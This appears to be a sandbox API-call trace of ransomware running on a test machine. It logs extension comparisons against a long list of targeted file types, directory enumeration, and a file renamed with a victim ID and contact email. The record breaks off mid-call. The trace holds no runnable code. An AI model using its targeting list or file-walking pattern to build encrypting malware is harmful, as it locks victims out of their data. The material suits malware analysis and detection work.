[0096.665] lstrlenW (lpString=".cpp") returned 4 [0096.665] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0096.666] lstrlenW (lpString=".cr2") returned 4 [0096.666] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0096.666] lstrlenW (lpString=".crt") returned 4 [0096.666] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0096.666] lstrlenW (lpString=".crw") returned 4 [0096.666] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0096.666] lstrlenW (lpString=".cs") returned 3 [0096.666] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0096.666] lstrlenW (lpString=".css") returned 4 [0096.666] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0096.666] lstrlenW (lpString=".csv") returned 4 [0096.666] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0096.666] lstrlenW (lpString=".cub") returned 4 [0096.666] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0096.666] lstrlenW (lpString=".dae") returned 4 [0096.666] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0096.666] lstrlenW (lpString=".dat") returned 4 [0096.666] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0096.666] lstrlenW (lpString=".db") returned 3 [0096.666] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0096.666] lstrlenW (lpString=".dbf") returned 4 [0096.666] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0096.666] lstrlenW (lpString=".dbx") returned 4 [0096.666] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0096.666] lstrlenW (lpString=".dc3") returned 4 [0096.666] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0096.666] lstrlenW (lpString=".dcm") returned 4 [0096.667] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0096.667] lstrlenW (lpString=".dcr") returned 4 [0096.667] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0096.667] lstrlenW (lpString=".der") returned 4 [0096.667] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0096.667] lstrlenW (lpString=".dib") returned 4 [0096.667] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0096.667] lstrlenW (lpString=".dic") returned 4 [0096.667] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0096.667] lstrlenW (lpString=".dif") returned 4 [0096.667] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0096.667] lstrlenW (lpString=".divx") returned 5 [0096.667] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0096.667] lstrlenW (lpString=".djvu") returned 5 [0096.667] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0096.667] lstrlenW (lpString=".dng") returned 4 [0096.667] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0096.667] lstrlenW (lpString=".doc") returned 4 [0096.667] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0096.667] lstrlenW (lpString=".docm") returned 5 [0096.667] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0096.667] lstrlenW (lpString=".docx") returned 5 [0096.667] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0096.667] lstrlenW (lpString=".dot") returned 4 [0096.667] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0096.667] lstrlenW (lpString=".dotm") returned 5 [0096.668] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0096.668] lstrlenW (lpString=".dotx") returned 5 [0096.668] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0096.668] lstrlenW (lpString=".dpx") returned 4 [0096.668] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0096.668] lstrlenW (lpString=".dqy") returned 4 [0096.668] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0096.668] lstrlenW (lpString=".dsn") returned 4 [0096.668] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0096.668] lstrlenW (lpString=".dt") returned 3 [0096.668] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0096.668] lstrlenW (lpString=".dtd") returned 4 [0096.668] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0096.668] lstrlenW (lpString=".dwg") returned 4 [0096.668] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0096.668] lstrlenW (lpString=".dwt") returned 4 [0096.668] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0096.668] lstrlenW (lpString=".dx") returned 3 [0096.668] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0096.668] lstrlenW (lpString=".dxf") returned 4 [0096.668] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0096.668] lstrlenW (lpString=".edml") returned 5 [0096.668] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0096.668] lstrlenW (lpString=".efd") returned 4 [0096.668] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0096.668] lstrlenW (lpString=".elf") returned 4 [0096.669] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0096.669] lstrlenW (lpString=".emf") returned 4 [0096.669] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0096.669] lstrlenW (lpString=".emz") returned 4 [0096.669] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0096.669] lstrlenW (lpString=".epf") returned 4 [0096.669] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0096.669] lstrlenW (lpString=".eps") returned 4 [0096.669] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0096.669] lstrlenW (lpString=".epsf") returned 5 [0096.669] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0096.669] lstrlenW (lpString=".epsp") returned 5 [0096.669] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0096.669] lstrlenW (lpString=".erf") returned 4 [0096.669] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0096.669] lstrlenW (lpString=".exr") returned 4 [0096.669] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0096.669] lstrlenW (lpString=".f4v") returned 4 [0096.669] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0096.669] lstrlenW (lpString=".fido") returned 5 [0096.669] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0096.669] lstrlenW (lpString=".flm") returned 4 [0096.669] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0096.669] lstrlenW (lpString=".flv") returned 4 [0096.669] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0096.669] lstrlenW (lpString=".frm") returned 4 [0096.670] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0096.670] lstrlenW (lpString=".fxg") returned 4 [0096.670] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0096.670] lstrlenW (lpString=".geo") returned 4 [0096.670] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0096.670] lstrlenW (lpString=".gif") returned 4 [0096.670] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0096.670] lstrlenW (lpString=".grs") returned 4 [0096.670] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0096.670] lstrlenW (lpString=".gz") returned 3 [0096.670] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0096.670] lstrlenW (lpString=".h") returned 2 [0096.670] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0096.670] lstrlenW (lpString=".hdr") returned 4 [0096.670] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0096.670] lstrlenW (lpString=".hpp") returned 4 [0096.670] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0096.670] lstrlenW (lpString=".hta") returned 4 [0096.670] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0096.670] lstrlenW (lpString=".htc") returned 4 [0096.670] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0096.670] lstrlenW (lpString=".htm") returned 4 [0096.670] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0096.670] lstrlenW (lpString=".html") returned 5 [0096.670] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0096.670] lstrlenW (lpString=".icb") returned 4 [0096.670] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0096.670] lstrlenW (lpString=".ics") returned 4 [0096.671] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0096.671] lstrlenW (lpString=".iff") returned 4 [0096.671] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0096.671] lstrlenW (lpString=".inc") returned 4 [0096.671] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0096.671] lstrlenW (lpString=".indd") returned 5 [0096.671] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0096.671] lstrlenW (lpString=".ini") returned 4 [0096.671] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0096.671] lstrlenW (lpString=".iqy") returned 4 [0096.671] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0096.671] lstrlenW (lpString=".j2c") returned 4 [0096.671] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0096.671] lstrlenW (lpString=".j2k") returned 4 [0096.671] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0096.671] lstrlenW (lpString=".java") returned 5 [0096.671] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0096.671] lstrlenW (lpString=".jp2") returned 4 [0096.671] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0096.671] lstrlenW (lpString=".jpc") returned 4 [0096.675] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0096.675] lstrlenW (lpString=".jpe") returned 4 [0096.675] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0096.675] lstrlenW (lpString=".jpeg") returned 5 [0096.675] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0096.675] lstrlenW (lpString=".jpf") returned 4 [0096.685] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0096.685] lstrlenW (lpString=".jpg") returned 4 [0096.685] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0096.685] lstrlenW (lpString=".jpx") returned 4 [0096.685] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0096.685] lstrlenW (lpString=".js") returned 3 [0096.685] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0096.685] lstrlenW (lpString=".jsf") returned 4 [0096.685] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0096.685] lstrlenW (lpString=".json") returned 5 [0096.685] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0096.685] lstrlenW (lpString=".jsp") returned 4 [0096.686] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0096.686] lstrlenW (lpString=".kdc") returned 4 [0096.686] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0096.686] lstrlenW (lpString=".kmz") returned 4 [0096.686] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0096.686] lstrlenW (lpString=".kwm") returned 4 [0096.686] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0096.686] lstrlenW (lpString=".lasso") returned 6 [0096.686] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0096.686] lstrlenW (lpString=".lbi") returned 4 [0096.686] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0096.686] lstrlenW (lpString=".lgf") returned 4 [0096.686] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0096.686] lstrlenW (lpString=".lgp") returned 4 [0096.686] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0096.686] lstrlenW (lpString=".log") returned 4 [0096.686] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0096.686] lstrlenW (lpString=".m1v") returned 4 [0096.686] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0096.686] lstrlenW (lpString=".m4a") returned 4 [0096.686] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0096.686] lstrlenW (lpString=".m4v") returned 4 [0096.686] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0096.686] lstrlenW (lpString=".max") returned 4 [0096.686] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0096.686] lstrlenW (lpString=".md") returned 3 [0096.687] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0096.687] lstrlenW (lpString=".mda") returned 4 [0096.687] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0096.687] lstrlenW (lpString=".mdb") returned 4 [0096.687] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0096.687] lstrlenW (lpString=".mde") returned 4 [0096.687] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0096.687] lstrlenW (lpString=".mdf") returned 4 [0096.687] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0096.687] lstrlenW (lpString=".mdw") returned 4 [0096.687] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0096.687] lstrlenW (lpString=".mef") returned 4 [0096.687] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0096.687] lstrlenW (lpString=".mft") returned 4 [0096.687] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0096.687] lstrlenW (lpString=".mfw") returned 4 [0096.687] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0096.687] lstrlenW (lpString=".mht") returned 4 [0096.687] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0096.687] lstrlenW (lpString=".mhtml") returned 6 [0096.687] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0096.687] lstrlenW (lpString=".mka") returned 4 [0096.687] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0096.687] lstrlenW (lpString=".mkidx") returned 6 [0096.687] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0096.687] lstrlenW (lpString=".mkv") returned 4 [0096.687] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0096.687] lstrlenW (lpString=".mos") returned 4 [0096.688] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0096.688] lstrlenW (lpString=".mov") returned 4 [0096.688] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0096.688] lstrlenW (lpString=".mp3") returned 4 [0096.688] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0096.688] lstrlenW (lpString=".mp4") returned 4 [0096.688] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0096.688] lstrlenW (lpString=".mpeg") returned 5 [0096.688] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0096.688] lstrlenW (lpString=".mpg") returned 4 [0096.688] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0096.688] lstrlenW (lpString=".mpv") returned 4 [0096.688] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0096.688] lstrlenW (lpString=".mrw") returned 4 [0096.688] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0096.688] lstrlenW (lpString=".msg") returned 4 [0096.688] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0096.688] lstrlenW (lpString=".mxl") returned 4 [0096.688] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0096.688] lstrlenW (lpString=".myd") returned 4 [0096.688] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0096.688] lstrlenW (lpString=".myi") returned 4 [0096.688] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0096.688] lstrlenW (lpString=".nef") returned 4 [0096.688] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0096.688] lstrlenW (lpString=".nrw") returned 4 [0096.688] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0096.689] lstrlenW (lpString=".obj") returned 4 [0096.689] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0096.689] lstrlenW (lpString=".odb") returned 4 [0096.689] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0096.689] lstrlenW (lpString=".odc") returned 4 [0096.689] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0096.689] lstrlenW (lpString=".odm") returned 4 [0096.689] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0096.689] lstrlenW (lpString=".odp") returned 4 [0096.689] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0096.689] lstrlenW (lpString=".ods") returned 4 [0096.689] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0096.689] lstrlenW (lpString=".oft") returned 4 [0096.689] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0096.689] lstrlenW (lpString=".one") returned 4 [0096.689] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0096.689] lstrlenW (lpString=".onepkg") returned 7 [0096.689] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0096.689] lstrlenW (lpString=".onetoc2") returned 8 [0096.689] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0096.689] lstrlenW (lpString=".opt") returned 4 [0096.689] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0096.689] lstrlenW (lpString=".oqy") returned 4 [0096.689] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0096.690] lstrlenW (lpString=".orf") returned 4 [0096.690] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0096.690] lstrlenW (lpString=".p12") returned 4 [0096.690] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0096.690] lstrlenW (lpString=".p7b") returned 4 [0096.690] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0096.690] lstrlenW (lpString=".p7c") returned 4 [0096.690] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0096.690] lstrlenW (lpString=".pam") returned 4 [0096.690] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0096.690] lstrlenW (lpString=".pbm") returned 4 [0096.690] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0096.690] lstrlenW (lpString=".pct") returned 4 [0096.690] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0096.690] lstrlenW (lpString=".pcx") returned 4 [0096.690] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0096.690] lstrlenW (lpString=".pdd") returned 4 [0096.690] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0096.690] lstrlenW (lpString=".pdf") returned 4 [0096.690] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0096.690] lstrlenW (lpString=".pdp") returned 4 [0096.690] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0096.690] lstrlenW (lpString=".pef") returned 4 [0096.690] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0096.690] lstrlenW (lpString=".pem") returned 4 [0096.690] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0096.690] lstrlenW (lpString=".pff") returned 4 [0096.690] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0096.691] lstrlenW (lpString=".pfm") returned 4 [0096.691] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0096.691] lstrlenW (lpString=".pfx") returned 4 [0096.691] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0096.691] lstrlenW (lpString=".pgm") returned 4 [0096.691] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0096.691] lstrlenW (lpString=".php") returned 4 [0096.691] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0096.691] lstrlenW (lpString=".php3") returned 5 [0096.691] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0096.691] lstrlenW (lpString=".php4") returned 5 [0096.691] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0096.691] lstrlenW (lpString=".php5") returned 5 [0096.691] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0096.691] lstrlenW (lpString=".phtml") returned 6 [0096.691] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0096.691] lstrlenW (lpString=".pict") returned 5 [0096.691] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0096.691] lstrlenW (lpString=".pl") returned 3 [0096.691] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0096.691] lstrlenW (lpString=".pls") returned 4 [0096.691] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0096.691] lstrlenW (lpString=".pm") returned 3 [0096.691] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0096.691] lstrlenW (lpString=".png") returned 4 [0096.691] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0096.691] lstrlenW (lpString=".pnm") returned 4 [0096.692] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0096.692] lstrlenW (lpString=".pot") returned 4 [0096.692] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0096.692] lstrlenW (lpString=".potm") returned 5 [0096.692] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0096.692] lstrlenW (lpString=".potx") returned 5 [0096.692] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0096.692] lstrlenW (lpString=".ppa") returned 4 [0096.692] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0096.692] lstrlenW (lpString=".ppam") returned 5 [0096.692] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0096.692] lstrlenW (lpString=".ppm") returned 4 [0096.692] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0096.692] lstrlenW (lpString=".pps") returned 4 [0096.692] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0096.692] lstrlenW (lpString=".ppsm") returned 5 [0096.692] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0096.692] lstrlenW (lpString=".ppt") returned 4 [0096.692] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0096.692] lstrlenW (lpString=".pptm") returned 5 [0096.692] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0096.692] lstrlenW (lpString=".pptx") returned 5 [0096.692] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0096.692] lstrlenW (lpString=".prn") returned 4 [0096.692] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0096.692] lstrlenW (lpString=".ps") returned 3 [0096.693] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0096.693] lstrlenW (lpString=".psb") returned 4 [0096.693] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0096.693] lstrlenW (lpString=".psd") returned 4 [0096.693] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0096.693] lstrlenW (lpString=".pst") returned 4 [0096.693] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0096.693] lstrlenW (lpString=".ptx") returned 4 [0096.693] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0096.693] lstrlenW (lpString=".pub") returned 4 [0096.693] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0096.693] lstrlenW (lpString=".pwm") returned 4 [0096.693] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0096.693] lstrlenW (lpString=".pxr") returned 4 [0096.693] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0096.693] lstrlenW (lpString=".py") returned 3 [0096.693] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0096.693] lstrlenW (lpString=".qt") returned 3 [0096.693] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0096.693] lstrlenW (lpString=".r3d") returned 4 [0096.693] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0096.693] lstrlenW (lpString=".raf") returned 4 [0096.693] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0096.693] lstrlenW (lpString=".rar") returned 4 [0096.693] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0096.694] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0096.694] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa58c4089, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0096.694] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa58c4089, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0096.694] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0096.694] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0096.694] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0096.694] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0096.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26 [0096.695] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e501c0 [0096.695] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.695] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, 